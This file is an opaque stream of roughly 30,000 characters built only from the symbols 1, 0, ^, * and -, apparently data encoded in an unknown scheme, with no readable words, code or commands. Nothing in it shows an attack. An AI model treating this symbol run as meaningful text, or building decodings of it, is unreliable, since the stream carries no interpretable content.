1^1**01*-11*--------0^-1*-0010-*-11*-----^--1*-1*-00-*001^1*^1101********01^1101*00^1*^110101^-11*^1*01*1*********0^1*^-001**00--1^11*101*001*1*-----110--1011**0-00-*001^1*1011*0-11*101*001^1**11*0101*00101****1**0101*101^-0--------00110-*-00^110^^1010-11*1*^-00-0-11*1101*01*1*-----110--001101*00-00-*001^1*-01**********1*0^-001**00---101*101*001*1*-----110--0-11*00-00-*001^1*0011*0-11*101*001^1*11011*0011*01*******001*0^1011*-101*--------0^-1*-*011*0-11*-----110--*1101*0-00-*001^1*^1101*****00--11*11011*001*010^1*****01**00--1*001*-*01*1*********10101*^-001**00--101011*101*001*1*-----110---0-*0-00-*001^1*1*^--*-11**1*01*1*101*001^1*^11*1101*00101****01**0010^-1101^1**--------1^-1*-*1101*-----110--1^^1*-00-*001^1*^1101*********101101*00^1*^1********^10101*001*001*01*1*********10101*^-001**00--1*11*101*001*1*-----110--0^1101*-00-*001^1*00-*-11*101*001^1*0011*0-11*0101****01**1^^-11011*1*001*1*-**1**--------0^-1*-*0-*-11*-----110---^11*-00-*001^1*11011*-11*********^1*0^-001**00---01*0-11*101*001*1*-----110--11*-*-00-*001^1**11*101*001^1*1101*0-11*0101****01**1^^-1101^101****01**0^^-110110-**1**^1*001**--------1^-1*-*0011*-----10---***-00-*001^1*00101*-11*********^1*0^-001**00--10101*0-11*101*001*1*-----10---101**-00-*001^1*^11010-0-0-11*1*^1**********11*001*101*01*1*101*001^1*^1*0-11*1101*0^11010-01*-*00--------0^-1*-001*1*-11*-----10--1*-*00-00-*001^1*^1101******1101^1101*1*00^1^^1*****01***0-**0^1011*01*1*********10101*^-001**00--10-1*101*001*1*-----10---10101*0-00-*001^1*00-*101*001^1*0101*0-11*001*001^1*0101****01**0^^-110110^1*001**---------10-*-001*^1*01010-11*1101*01*1*-----10--10110-*0-00-*001^1*01*^-11*********^1*0^-001**00--1^1*0-11*101*001*1*-----10--10101*1*-00-*001^1*-01*-11*101*001^1*0-1*1011*010-010-*001*^101101**1*0--------01^-*-00^1101********0-0^1*00^1*^1********001*01*00^1101*01*1*-----10---110101*-00-*001^1*^1101******0^1101^101**1*010^-010^-11*0011*01*1*********0^1*^-001**00--110-*101*001*1*-----10---0^11*-00-*001^1*10-*101*001^1*1011*0-11*--------00110-*-001*^1********11*101*00^1101*01*1*-----10--^^-*-00-*001^1*1*^1*11*-11*0101*01*1*********0011*010-^-01*-*00--------01010-*-001101101*011*1*^1*****01**01*-**^^1*01*1*--------011**00-00-*001^1**01*-11*********^1*0^-001**00--^11*0-11*101*001*1*--------01011**-00-*001^1*01011*-11*101*001^1*00-*110101******101101*00101******11***1*1*001******11**-00-*001*001*0011*00--------0^-1*-*1011*-11*--------0-11*00-00-*001^1*-1*0-11*********^1*0^-001**00---011*101*001*1*--------1*101*0-00-*001^1*110110^1011*1*^1********11*101*001*001*01*1*101*001^1*01101*****************11**0-01********00^-11*****011**-0011*****001***011011********0-*1*****001**00101******001***0^1*****01**01^1101*****01**010-001********110^1*****0011**0-01********00^^11********11011011*****001**1^-1********00101******01***01011*****0011**01*1******01**--11*****01**00-001********00-011********00-01*********-01******01***1101******1**-001******11***0-******1**110-1*****0011**1010101******1**001*01********0101^1*****01**00-*********011011011*****001**--01*****01***1011******1**001*001*****001**011*1*****001**00-0-********10^^101*10-*001*1*-*001^1*00^^-11*0-*01^1*001*******010101010--01011*01^1*001****01**0^110^--*11*01^1*001*******-1*10--01101*01^1*001****01**0-010^--00101*01^1*001****01*****0--0^1*01^1*001****01**001**0--*01*01^1*001*******0-11010--001101*01^1*********1***-001*1***001**00^1011******1*00^^1***101***1^1^1*1*******0010101*********00-******011**010-1******1**10101101********101*11*****************************01*001*****0011**********1**011*1******1**010-011********01*********************00^1******1**1010^1********011011******01**-1101********001********1^101*001***01010^101*001*1**************************************************************0101*00101*1*-*1*1*00-*1^1*^11***********0010-0-01*001^1*011****011**0011*1*101*^11*1*110101^11*1*1*001*******************001**1*01*1011*01^1*********0-*10-0-01*001^1*011****011**0011*1*101*^11*1*110101^11*1*1*001*******************0-*001*01*1011*********01101*********01101*********01101******************************0101*00101*^1011*1*1*01011*1^1*-01*00-0110101******001^^-110110-*00--------1^-1*-0011011*---------^11*-*0011*1^1**11**********1*0^-00-**********0101*********01011*******************************101*********01011*********01011*********-*00101*1*011*1*1**11*1^1*01011*********1*001010-011*************************************************************0101*00101*^1101*1*1*01101*1^1*^11*00-0110101******001^^-11011*01*0--------00110-*-001*^1*****01**0-0^1*001*0101*1*1*---------^11*-001^1*1^1*00-**********1*0^-*001*********011011*********1*01*******************011011*******************001*01********0011011*********-*00101*101^1*1*1*1^1*1^1**11******01**01**010-0-01*001^1*001*001*1*001*001^1*0101****1**0-1*0-10110^1*01011*00101****1**00-*01^-*01*****************************************0-********************0101*00101*101*1*1*1*1*1*1^1*01011*0011*0110101******01010101*101******11**-0^1*001******11****11*00^-*00--------0^^1*-00-1*01^1*^1101********011010101*00^1*^-110^-11*^1*01*1*********1*0101^-00110101******0010^1*101******1**010^-*001******1**00110^1*001*11****011**1*-*0101*-**^1*001010101***00^11011********************11*001*0^110101******01*011*101******01**01101101*001******01**10101101*00^1*******0011010-0010-0-*********00-^1*****************************00-^1******************************11*00101*10-1*01*1*-1*01^1*^11*1101*0110101******-*11*101*1101*1^1010-11*011*00110101******^^1*0101******1**0-11**001******1***11***1*01*******-1*00--0011*00--------0101**0-001011*01^1*^1101********0-10-*00^1*^1*01*-11*^1*01*1*110101*******0101*0101******01**10101011*001******01**0-1101*001*11****011**0011*1*101*^11*1*11*1^11*10-*001**********************1*0^10-*011*00--------**1*0-001011*01^1*^1101011*010-11*1*^^-*-11*0101*01*1*110101******0-011*0101******1***0^11*001******1**011*011*001*^1^-11*011*00110101******1*11*0010^110^10-11*01010^-11*-01*011*00--------0011011*0-001011*01^1*11011*110101******10-11*0101******11**1101*1*001******11**01010101*001******-001**1**001*11*00110101******-01**101******1**011011011*001******1***110101*00^-01*011*00--------0101^1*-001011*01^1*-01*110101*******01101*101******11**1^-**1******11**-01**001*11****001**^11**101******11**^1***1******11**0101101**1*11**101*01********101101^10-0110101******0-1101*10^1101*0-11*01010110-11*001*******1011*00--********0110^11********1*011*******************^1011*******************1010^1********001^1********0110-********00^-01********^1*0101*101011*01*1*1011*01^1*00-*--------1*011*0-*001*01^1*11011**********1**0-00--------1^-1*-0010-*--------0010-*0-*001*01^1*01011**********1*0^-001**00---101*011*001*1*--------011*01*-*001*01^1*-01*011*001^1*-01*--------^10-*-00^110101*^-^^-11*1101*01*1*1*^101^110-11*1101*01*1*--------1*0101*-*001*01^1*^1101*********^101*00^1*^1********1011*1*001*101*01*1*********10101*^-001**00--101101*011*001*1*--------**11*-*001*01^1*^110101*^1*10^-11*^1*01*1*1*^-1*10-11*^1*01*1*011*001^1*01101*********-^1*********11011*******************10101*********-0011********011**********001*1********0-^1********0-^1********0^1*0101*1*01*01*1**1*01^1*00-*1101*01^1*001****01**001**0--00101*01^1*001****01**0-010^--0^1*01^1*001****01*****0--*101*1^1*001*******0-11010--001101*01^1*********1***-001*1***001**01*1011*****011**-01101**00101***1^11011*********010101*11****011**0011*1*101*^11*1*110101^110-*1*001**********************1*01*0011*-----110--0-101*0-*011*0^11*-11*-----110--01^11*0-*011*00^1*-11*--------1^-1*-001^1*-11*-----110--1010-*0-*011*001011*********-*00^-001**00--110-*011*00-----110--101*01*-*011*01101101*-*1*^10-0110-11*101*001*1*0101*0-01*--------1^-1*-*0101*-11*-----110--1101^1*-*011*0^1101******00^110-11**01*010^1*****01**011*001*00^^1*********01^1*^-001**00--101101*011*00-----110---01101*-*011*0^1101*********1*11*00^1*^1*****01**0^1***^101*001*1*0101**011*--------1^-1*-*^1*-11*-----110--00101011*-*011*0^110101*^1*****01**01011011**^101*001*1*1*^1*0-0-11*101*001*1*********00101*--*1101*11**---------00-*-00^1101*****001^1011**01*001*010^1********0-0101*001*001*01*1*-----10--101***-*011*01*1*-11**********1*0^-001**00---101*011*00-----10---001**-*011*0^1101********0101^11*00^1*^1*11*011*001*1*0101*010-*01010^110101******11*001*101******11**01*11**1******11**0-***^11**01101*01**--------0010-1*-00-01*-----10--10-11*00-*011*010101*-11**********1*0^-001**00--^-*011*00-----10---1^1*0-*011*01*^^-*011*001*1*0101*001011*---------00-*-00^1101*****0010^1*1*11**1*010^1*********1*1*001*001*01*1*-----10--10-011*0-*011*0010110^-1*1*^1*****01**00-011**^101*001*1**********01*010-00110101******0^-*010^1011*0-11*11010110-11*01**--------1^-1*-0011011*-11*-----10--^10^1*-*011*01011*0-11**********1*0^-001**00--1^11*011*00-----10--110^101*-*011**011*0101*0^11*--------0010-1*-*0-*-----10--^101101*-*011*011011*********-*00^-0011**--------01010-*-00^1101*********0-01*00^1*^--110-11*-*001*1*-----10--11*1011*-*011*0^1101010-110-11*1*^110^110-11*011*001*1*********0-*0^-001**00--1*11*011*00-----10--1*10-*-*011**-*-11*0101*011011*010101*11****011**0011*1*101*^11*1*110101^--*1*001*******************001**1*0^^11*--------1^-1*-*0-*-11*--------0-**0-*011**-*********-*00^-001**00--101011*011*00--------0-1**-*011*01101*0-11*0101**-*010101*1**--------1^-1*-0010101*-11*--------1*11*00-*011*0110110^-1*1*^^^^-11*101*001*1*********1011*010-^11**110101******0^-*0101*0^110-11**11*01**---------00-*-00^1101**********001*00^1*^1********^1^1*001*01*001*1*--------*0011*0-*011*0^1101*****0011*001*0101**1*010^1*****01**0-1*1*00^^1*********01^1*^-001**00---011*011*00--------00-11*0-*011*01^1*-11*0101*001101*********0-^1*****01**0-011******1**0-^11********0101*********0^-********00--1********00-101*****001**00-001******1**1********1***001******01***101******1**0-0^1*****01**0110101*********010^1*****01**00^-1********^-11*****001***101*********001011*****001**0^-01*****001***101********************-01********0--1*********011011*****001***11******01**01*011********01*0-*****01**01^-********0101*11********10-*101*1*01**11*00-1**1*01^1*001*******-1*10--0-*001^1*001****01**0-010^--0011*001^1*001****01*****0--0101*001^1*001****01**001**0--*1*001^1*001*******0-11010--01011**1*******010101010--001101*01^1*********1***-001*1***001***001011*****001**^10-***11***1^1^1*1*******0010101*11**1**0010110110101*11***00101************01*1********10101***00-101101^^11**0-101101^1*11*******001101*00101*10101^-1*011*****1**00^11*101*11****001***1^1*101*0011*01*11011**-1^-*1**01*0101*0101******00110-*00101*1**0^1*0011*00101******00^1*1*10^1**00^1*1101*0011*******01101**101********0011*-*001*********0110-*001*11****011**10-001*10^1101**-^1^^--1**01*0101**11*1101*0-11*011****011***^1*0101******1**01*0101*001******1**0^-11*001*01****001**001*^--0011****011**1^11*00101*11*******110101*00101******1******001*11****011***^1*0101******01**1*1011*001******01***1*1*001*1101*011****011***^1*0101******1**00110^1*001******1**0-^11*00^-----10--101011011*-00101*001^1*^1101010101*-11*1*^1********^-01*00^^1*01*1*0^1*11010^1010--0101*101*0-11*-----10--10^-1*-00101*001^1*-01**1**110^1**00--1^11*^1*0--------***00-00101*001^1*^1101********0101*01*00^1*^1*****01**0-*01*001*101*01*1*1011*0-01*0110--0101*-1*--------01011**-00101*001^1*01011**1**110^1**00--101101*^1*0--------*101*00-00101*001^1*^1101*1*10-11*1*^1*****01**00-1011*00^^1*01*1*1011**011*0101*0110101******0010101*0101******01**^101**01******01**^1***1*11****01**01101^1*10^1*1010-11**^10-11*1010--0101*011*0-11*--------^1101*0-00101*001^1*^1101*****00-001^-1011*001*010^1********0-^1*001*001*01*1*10101*00110^1**00---101*^1*0--------0010-*0-00101*001^1*1*^-1*10-11*011*001*1*1011*0^11*01*00-010^101*001^1*^110101*^10-1*-11*-*001*1*1*^-101*-11*-*001*1******01***1*10^-00110101******11011**101*011*0-11*10101*-11*01**011**00--1010^^1*0-11*10^10-010^101*001^1*11011*101**0110^1**00--1*11*^1**00110-010^101*001^1*^1101*********01^1*00^1*^10101*0-11*011*001*1*1011*001101*********10101011********^1^1********--********0010101011********101^1********01*0011********0011011********0101^1**********1*********1010101********1*1*******************001^1011********101^1********00-*0101*10101*001*1*101*001^1**11*0101*01^1*001****01**001**0--0^1*01^1*001*******0-11010--*01*01^1*001*******-1*10--0-*001^1*001****01*****0--0011*001^1*001****01**0-010^--001101*01^1*1**11010^1*1***001**0-^11*****01**00-1011**00^1**001^11011***00-----10--11*-1*-00101*001^1*1*^11*-0-11**1*01*1*01010^-*00--------11*-*-00^1101*10^1********0^1101*00^^1*01*1*0010^1********0^1101*00^^1*01*1*--------10101**-00101*001^1*-01**********1*0--00^11010^1*01101101*011**1*******1**010101**0^1011*0010^10-11*0011*******01**010101**1*101**01101010-00--010110^10-11*1*01101*^1********^^11*001*01****01*****0--01^^1********0--1*001*01****01**0^110^--********00--1*001*01****01**0^110^--0-01*011*00--------0-101*0-00101*001^1*1101101010-*1*^101011**1*01*1*1101*00101****1**0-01^-1011011011******011**0011*101**---------0-*0-00101*001^1*0-1*1101**-*-11*--------^10-*-00^1101*********1*11*00^1*^11*1*-11*-*001*1*--------0^^1*-00101*001^1*^11**********1*********01**0101*101*01^11*00^110^1011*-11*1*011*1*0011**--------11010101*-00101*001^1*01101*0101*001101*--------10101101*-00101*001^1*^1101******--1^101**01*010^-101^-11*011*001*1*01^1*11****011**1*11**1011********0110101*********001011********-1011********00-001********00-0011********0110101*******************110^1*********011*********0-0011********01*1********001101*0101*10101*001*1*********110^1*0-00^1*01^1*001*******010101010--*01*01^1*001****01**0-010^--0-*001^1*001****01*****0--0011*001^1*001*******-1*10--001101*01^1*********1***-001*1***001**00-0011*****01**0-011****01**001^1^1******0--------00-**-*11*001^1*01011*01010^-*00--------01^1*00-*11*001^1*01011*--------01^-*-00^110101*^1**10-11**1*01*1*1*^1********-11011*001*001*01*1*--------1*001*0-*11*001^1*0-1**********1*010-^^110^1011010^11*001*001*1*^1*********001010-*00^1011*00-0010-11*001*001^1*00-*0101**011010-01*011*00--------11*11*0-*11*001^1*01101*1101*00101****1***01*1*101*1**--------0^-*0-*11*001^1*01101*1101**01*01********1^^10101*0--101**0^1*--------0^-1*-001101*0-11*--------1101*1*-*11*001^1*10-**********1*********01**0101*101*01^11*00^1101*001*-11*1*011011**001*00--------00^101*-*11*001^1*01011*0101*001101*--------0-0101*-*11*001^1*^1101******10-1010^101*00^1^^1*****01**0^-1**^-*001*1*01^1*11****011***011**1011********-0101*******************11*101********1101^1********101*1********01101^1********11*101********10^1*********1^11********011011*********10^101********01^11*********11*0101*^11*001*1*********0^101*0-*001*01^1*001****01**001**0--0-*001^1*001****01**0^110^--001101*01^1*********1***-001*1***001**0101^11********0--1**00101***1^1^1*-----10--^^-*-00101*001^1**11*010101*0-00--0101*0110-11*010110101^^1********01011011*001*01****01**0^110^--01*^1********-0^1*001*01****01*****0--********0-0^1*001*01****01*****0--011011******01*0^1010-0-*00--------*11**-00101*001^1*^1101******11010^101011**1*010^1*****01***00-1*001*001*01*1*---------10-*-001*^^1*10-11*^1*01*1*---------011*00-00101*001^1*^1101*****00101011*11*01*001*010^1*****01**00-1101*001*001*01*1*********10101*10-^^110^10110^-1*^1**01******001011**01^1*001*011******001**01^1101*00^1011**********00^1*001*101**011010-01*011*00--------1101011*0-00101*001^1*0101*0-11*1101*00101****1**00-0101*10^--------010-1*0-00101*001^1*^1101*****00101**01*11*001*010^11*-0-11*-*001*1*1101**101*--------1^-1*-*-1*--------0010^1*-00101*001^1*1*^-110110-11*011*001*1*********0011*********01**0101*101*01^11*00^11010-11*-11*1*011011**01**--------1*1101*-00101*001^1**11*0101*001101*--------110-01*-00101*001^1*11011*01^1*11****011**-101**1011*********1011********00-101********01*1101********-^1********00-********************0-*********0110-*********0-001*********11*******************0010-011********0011*0101*10101*001*1*********101*1*0-00^1*01^1*001****01**001**0--*01*01^1*001*******010101010--0-*001^1*001*******-1*10--0011*001^1*001****01*****0--001101*01^1*********1***-001*1***001***1^11*****01***1*1***-***1^1^1***********00--*1**-*001*^11**00110-***01********001*1**001010^^1*0------0--0-001*-00-----110--0010-*0-001^1*1^1*1*1*-11*--------^10-*-00^1101******0-*0--**^1^^1^10^-11*0101*01*1*-----110--1011*1*-001^1*1^1*^1101******001^10-0-*001*010^1********01010101*001*011*01*1*********10101*^-001**00--10101*0-11*011*001*1*-----110--10110101*-001^1*1^1*00101*-11*011*001^1*-01*--------0^-1*-*0101*-11*-----110--**11*-001^1*1^1*0101*0-11*********^1*0^-001**00--101101*011*001*1*-----110--1^1011*-001^1*1^1*1^1*-11*011*001^1*^11*1101*00101****1**0-110-^-0011*******00101011*10^^-*011*010^10^1*11*00^-01*00101*-11*--------0^-1*-001^1*-11*-----110--^-11*-001^1*1^1*1*^1********-00101*00^-1*01*1*********-1*0^-001**00--1*11*011*001*1*-----10--10^1**-001^1*1^1*11011*011*001^1**11*0101*00101****01**1011*01^-0--------01^-*-00^1101******0-11010-01**^1^^1********01101101*001*101*01*1*-----10--1011011*00-001^1*1^1*1011*0-11*********^1*0^-001**00---101*011*001*1*-----10--1^^1*0-001^1*1^1*^1101*********010-*00^1*^10-1^-11*-1*01*1*011*001^1*00-*-----110--11***-00--------0-1101*-00^1101*-00--01********010-011*00^1*01101*^1********^-01*001*01*******0-11010--01*^1*****01**001101**001*01*******0-11010--*****001**001101**001*01*******0-11010--********00110-1*00^1*^1*****01**011*-*00^^1*01*1*-----10--10-^1*-001^1*1^1*^1*0-11*********^1*0^-001**00---011*011*001*1*-----10--11*1101*-001^1*1^1*01011*011*001^1*^1*0-11*01010^110101******-0-*0101******01**-1***1******01**0101101**1*11*00--------^10-*-00^110101^1*-11*1*^1*****01**001*1**0^^1*01*1*-----10--10-1011*-001^1*1^1*^11010-10^-11*1*^1*****01**00^^1*00^^1*01*1*********0^1*^-001**00--10-1*011*001*1*-----10--1010-11*-001^1*1^1*0011*0-11*011*001^1*01011*001*001^1*01**--------0^-1*-*011*0-11*--------*01**-001^1*1^1*01101**********1*0^-001**00--1^11*011*001*1*--------01*1*00-001^1*1^1*110110^-1*1*^10-*0-11*00101*1*1*011*001^1*0-1*01010^110101******0-*1*101******01**^101**01******01**-001**01*11****011**10-001*10^1101**-^1^^10-011**1*0101*0-1**01*-11*011****01**01^-1*101******1**00^11**01******1**00--**1*11****011**0110^1*101******01**101^11*001******01**10--*001*0011*1101101**01*00^1****************11*^1101101**01*00^1****************11*1*11****01**00^-1*101******11**^1011**1******11**010101**0^110101*******^11*101*0^^-11*10101010-11*011*******01***001*********101011*****001***00-1*****01**0010^11*********00-*****001**0-01******01**^101******1**011010101********110-1*****001**0010-1********011*101*****01**0--******1***^-*****01**0010-********00-^11********00110-*****01***10101*****001**01101*1********00110-*****01**011010101****************1***^-********0010^1********-01*101*101^1*1*1*1^1*1^1**11*00-0110101******001^^-110110101*001*1*--------1^-1*-00^11*--------0^1011*-001*1*1^1*01101**********1*0^-00101*001*1*******************************-*********10101*********10101*********10101*********011*00101*101*1*1*1*1*1*1^1*01011*-----10---^-10-0---------0010-*-00^1101********010101101*00^1*^-010110-11*-1*01*1*---------*01*-*-*01^1*11011**********1*0010-*101****1****^-10110101*001*1******001**00--10-0-011*0110101******01^101*101*********-0101*001********00--11*00^110101******00-**101******01**010^11*001******01**0--1*001*11*******00101011*10^^-*011**^10-10^1*001*0011**********0-1*001*001**11*00101****01**1*^-110110101*001*1*********10-1*00-********00101**********1^11********001*01********010-1********00101********************001*01********0-*00101*^-*01*1*0-*01^1*-01******01**01*1101^-001**00--110-*011*001*1*-----10--1*^11*-*001*01^1*0011*0-11*011*001^1*11011*--------1^-1*-*1011*-----10--101011011*-*001*01^1*^1101******001101011***001*010^--*-11*0011*01*1*********0--1********0^1******001**1^11********0011**101*1*1*001*1*--------0^-1*-*011*0-11*--------011**00-*001*01^1*^11**********1*0^-001**00--101011*011*001*1*--------*11**-*001*01^1*^1101*****00^1101101^1**0^1^^1*****01**01^1**001*101*01*1*011*001^1*0101*0-11*010101*11****011**0011*1*101*^11*1*110101^1^1*01*001*******************00-*01*01*-1*---------10-*-001*^1*01010-11*1101*01*1*--------*0101*0-*001*01^1*1*^11*-0-11*1101*01*1*********0011*0^-001**00--1^1*0-11*011*001*1*---------0011*0-*001*01^1*0101*0-11*011*001^1*10-*101*001^1*0101****01***0^-110110110101******-11011*10^110101******0-**0101**********-1*001********0011*001*00^-*00--------01^-*-00^1101******^101*-011*00^1^^1********00101101*001*101*01*1*--------01*101*-*001*01^1*^11010-01*1*^1********-00-*00^^1*01*1*********1*1*^-001**00--^-*011*001*1*******1**-101*0-*11*001^1*01101*********10--********10110101********0-101********0--1*********01**********01*********010110101********1*-1********011011*********11*11********0010^1******************00--1********01011*0101*1*01*01*1**1*01^1*-01*0011*01^1*001*******-1*10--01101*01^1*001****01**0-010^--00101*01^1*001****01**0^110^--0^1*01^1*001*******0-11010--0-1*01^1*001****01*****0--*101*1^1*001****01**001**0--001101*01^1*********1***-001*1***001**0110^11******1**0-011***001**001^11011******0-----10--110--*-*01*001^1*1*^11*0110-11*^1*01*1*01010^1********1^1101010-0-*00--------*01**-*01*001^1*^1101********0-1*1*00^1*^1********-*01*001*001*01*1*--------1^-1*-0010-*--------110101*00-*01*001^1*11011**********1*0^-0010-01*011**1101*01*00101101010^1*001**11*******1**010-11*001*101**011010-01*011*00--------^^1*0-*01*001^1*^1101******10^1011*11**1*010^1********00110101*00^101*001*1*1101*00101****01**01**-1011011011******011**0011*101**--------0101011*0-*01*001^1*0-1*1101**101*--------00110-*-00^1101010^^-11*1*^10-0010-11*-*001*1*--------1**1*-*01*001^1*01101**********1*********01**0101*101*01^11*00^11010^11010-11*1*011*1*0011**--------0101^1*-*01*001^1*^1101******0-1^-101**^1^^1********-*11*001*11*001*1*0101*001101*--------1*1101*-*01*001^1*^1101*****001^1**01**001*010^101011010-11*101*001*1*01^1*11****011**101101**1011********^-01**********11*********11***********01********^-01*******************0^101********-1101********0-101***********1*********11*********1010101*********11*0101*1*1*001*1*********-^1*0-00^1*01^1*001****01**001**0--*01*01^1*001****01*****0--0-*001^1*001****01**0-010^--0011*001^1*001****01**0^110^--0101*001^1*001*******-1*10--001101*01^1*********1***-001*1***001**0010^11*****01**00^11***011***01^1^1*********--------*101*00-001011*00101101011011*1*^11*-0-11*011*001*1*01010^11011******001**1010-0-*00--------00-1*00-001011*001101*--------01010-*-00^1101*****00-01^11***001*010^10-1^-11*101*001*1*--------1^101*0-001011*01101*0-11**********1*0^-0010-01*011**1101*1**101101010^1*01**101**011010-01*011*00--------1101011*0-001011*0^1101*******^1****01*010^1*****01***^-*001*01*001*1*1101*00101******0010110^-1011011**11011******011**0011*101**--------0011*1*-001011*00101*0-11*1101**101*--------0010-1*-*1011*--------00-001*-001011*011011*********-*********001**0101*101*01^11*00^110101^-0-11*1*011*1*00101*00--------00101101*-001011*001101*0101*001101*--------10-101*-001011*00-1*01^1*11****011**001101**1011********-*01********-1101********00-*1********1011**********1011********001010^1********001011*********-11********001010^1********-*01*******************1101*********0011*0101*10^1*********011*01*0-*11*001^1*001****01**0-010^--0101*001^1*001*******-1*10--*1*001^1*001*******010101010--001101*01^1*********1***-001*1***001**0^^11********^-11**0011***01^1^1*-----10--1*-11*-00101*001^1*^1101*****001*10110-01**0^1^^1*****01**001^101*001*11*001*1*01010^1*******001101101^10-0-*00--------00101**-00101*001^1*1101*0-11*--------1^-1*-0011011*--------11*1*00-00101*001^1*^1101011011*-11*1*^1********11*101*00^^1*01*1*********0^1*10-^^110^1011010^1*0-11*^1**01******0010-*^11011*001*011******0011**1*101**^1011******001**00-101**1*101**011010-01*011*00--------1010101*0-00101*001^1*1*^1*****01**00-011**1*001*01*1*1101*00101****1***^10-11011011011******011**0011*101**--------*0-*0-00101*001^1*^1101*****0011**^1101**1*010^1*****001**101*1**^-*001*1*1101**101*--------0^-1*-00^1*0-11*--------0-*1*-00101*001^1*00-**********1*********01**0101*101*01^11*00^1101*^110-11*1*011*1*0011**---------00101*-00101*001^1*^1101*****00^1*-001101*00^1^^--010-11*011*001*1*0101*001101*--------110-01*-00101*001^1*10-*01^1*11****011**110101**1011********01*1*********010-********0^1101********0^1101********00-*********001*01********010101101********^1101*********110101********0010-*********-101*******************011*0101*10101*001*1*********101*1*0-00^1*01^1*001****01**0-010^--*01*01^1*001****01**001**0--0-*001^1*001*******010101010--0011*001^1*001****01**0^110^--001101*01^1*********1***-001*1***001***0^11*****01***0011***0101***1^1^1******0--------11011**-*01*001^1*^1101*******-10-0-*001*010^1*11010-11*-*001*1*01010^1*******00101101*010-0-*00--------0^-1*-001101*0-11*--------110-*00-*01*001^1*^110^1*^-11*1*^1*****01**01*1011*001*11*001*1*********0^1*010-0010-01*011**1*0--------1010101*0-*01*001^1*^11*0011**01101*01**1**011*00101101010^1*01**101**011010-01*011*00--------^1011*0-*01*001^1*0-1*1101*00101****1**0011010--011011011******011**0011*101**--------10-11*0-*01*001^1*0-1*1101**101*--------0^-1*-*101*0-11*--------0-*1*-*01*001^1*10-**********1*********01**0101*101*01^11*00^11010-01010-11*1*011011**001*00---------00101*-*01*001^1*^1101*****00-^^^^1*00^1^^1*01^-11*101*001*1*0101*001101*--------110-01*-*01*001^1*01101*01^1*11****011**010101**1011********01*1*********01^1*********1^1**********11********001*01**********11********01010^1********1010^1********0010-*********-001*******************-**********11*0101*1*1*001*1*********101*1*0-00-*001^1*001*******-1*10--0011*001^1*001*******0-11010--0101*001^1*001****01**0^110^--001101*01^1*********1***-001*1***001**0-*11*****01**0011****011***01^1^1******0--------0-**0-*01*001^1*^1101********01101*1*00^1*^1********1*^1*001*001*01*1*01010^-*00--------^10-*-00^1101******1*0-1101**001*010^11*0010-11*-*001*1*--------101011*00-*01*001^1*^1101******1^101^1***1*010^10-1*101*001*1*********1*1*010-0010-01*011**1*0--------0-001*0-*01*001^1*-01*0011**01101*01**1**011*00101101010^1*01**101**011010-01*011*00--------01*11*0-*01*001^1*^11*1101*00101*******1^101*101*1**--------1*-*0-*01*001^1*^11*1101*001**--------01010-*-00^110^1101*1*^1*****01**00^^1*001*11*001*1*--------0101*1*-*01*001^1*01101**********1*********01**0101*101*01^11*00^1101*110^-11*1*011*1*0011**--------11*101*-*01*001^1*^1101******^1^11*-*001*010^1********101*01*00^101*001*1*0101*001101*--------010-01*-*01*001^1*^1*0-11*01^1*11****011**^101**1011********00^101********-1*********0-1*********0-0011********001^1*********1^101*********1101*******************-0011********0110-1********0110-1********00-001*********11*0101*1*1*001*1*********011*1*0-*001*01^1*001****01*****0--0-*001^1*001*******010101010--0011*001^1*001****01**001**0--0101*001^1*001*******-1*10--001101*01^1*********1***-001*1***001**0011*11*****01**001011***0011***01^1^1******0010101*101^101101*110101******0101^1*10^1^1*-11*1*0110-11*01101*-**1*10^1**1101*-*001101*01*******0011**1011*-101*0101^-101*110101******0101^1*101******11**1010-1*001******11**-*01*001*1101*011**1*10-**01101*011**101*01*******0011**1011*-101*01**--------1101101*0-*01*001^1*00-*--------11*11*0-*01*001^1*^1101*-00--01*101^-11*^110101*^^-*001****01**001**0--01*^-101*-11*001****01**0-010^--0-01*-11*001****01**0-010^--*****00^10-*0-1*001*010^-101*101*001*1*--------1^-1*-*1101*--------1010^1*-*01*001^1*10-**********1*0^-001**00---101**1*0--------01^101*-*01*001^1*01011*0011*0-01*--------1^-1*-*1011*--------01101101*-*01*001^1**11**********1*0^-001**00--101101**1*0---------*11*-*01*001^1*01101*0011*001101*********110101*********110-********001*01********00101********************110101*******************01*01********00110101*********-011********00101*0101*1*1*001*1*001*001^1*^11*101*001^1*001*******-1*10--001101*01^1*********1***-001*1***001**0101*11********0-0-***001**001^1^1*1*******0010101**1*01**0110101*10-1***1*1101************1*1*****01010^-***************************************************************101*00101*101101*01*1*1101*01^1*01101***********0010-0-101**101*01^1*********001*010-0-101*0011*00--------*0^1*-00^1*01^1*01011*110101******011**00101******11**1010-**1******11**0--**^^101^-*-**^101^-*101**011**1101*11**110101******00^1*00101******11**1*11**01******11**--**0^^101^-*101**011**1**--------001*11*-00^1*01^1*^11*0101*01*******001*0^1011*1*11010-01*^11010-01**11010^101^-*-**^101^-*101********************00101101********00101^1********0^11*********101101******************************-*00101*10^1*01*1*^1*01^1*01101*--------0-011*0-*01*001^1*1*^1*01010-11*-*001*1*********0011**0-00--------01010-*-00^110101*^110-*-*001*1*1*^^110110-11*-*001*1*--------0-*1*-*01*001^1*11011**********1*0^-001**00---101**1*0---------1^1*-*01*001^1*10-*0011*0-01*--------00110-*-001*^1*****01**0101***01*11*001*1*--------01101101*-*01*001^1*01011**********1*0^-001**00--101101**1*0---------*11*-*01*001^1*1*^11*0110-11*101*001*1*0011*001101*********011011*********11011*********-*********00110101*********1101********001101101********0011011******************************^1*0101*1*1*001*1*001*001^1*01101*-*001^1*001****01**0-010^--0011*001^1*001*******0-11010--0101*001^1*001****01**001**0--001101*01^1*********1***-001*1***001***1*11*****01**01^101****1**001^11011******0010101*101*******01*10-101^11*00-----^--10--*-*11*001^1*^11*-----110--101**00-*11*001^1*^11010--00-11*1*^1********01010101*001*001*01*1*--------01^-*-00^1101*******0-0^11**0^1^^1********01010101*001*101*01*1*-----110--010101*00-*11*001^1*11011010^1*0-11*1*^^10-0-11**1*01*1*********-1*0^-001**00--1^1*0-11*001*001*1*-----110--001*1*0-*11*001^1*10101*-11*001*001^1*-01*--------0^-1*-0010101*-11*-----110---0101*0-*11*001^1*0-1**********1*0^-001**00--101101*001*001*1*-----110--^1011*0-*11*001^1*1101*0-11*001*001^1*00-*1101*01*^1^1**01*0--------0^-1*-001101*0-11*-----110--**01*-*11*001^1*^1101011010110-11*1*^1********0011*1*00^1101*01*1*********0^1*^-001**00---011*001*001*1*-----110--00-001*-*11*001^1*^1101*****00-10-00^1**01*010^^1*10-11*-*001*1*001*001^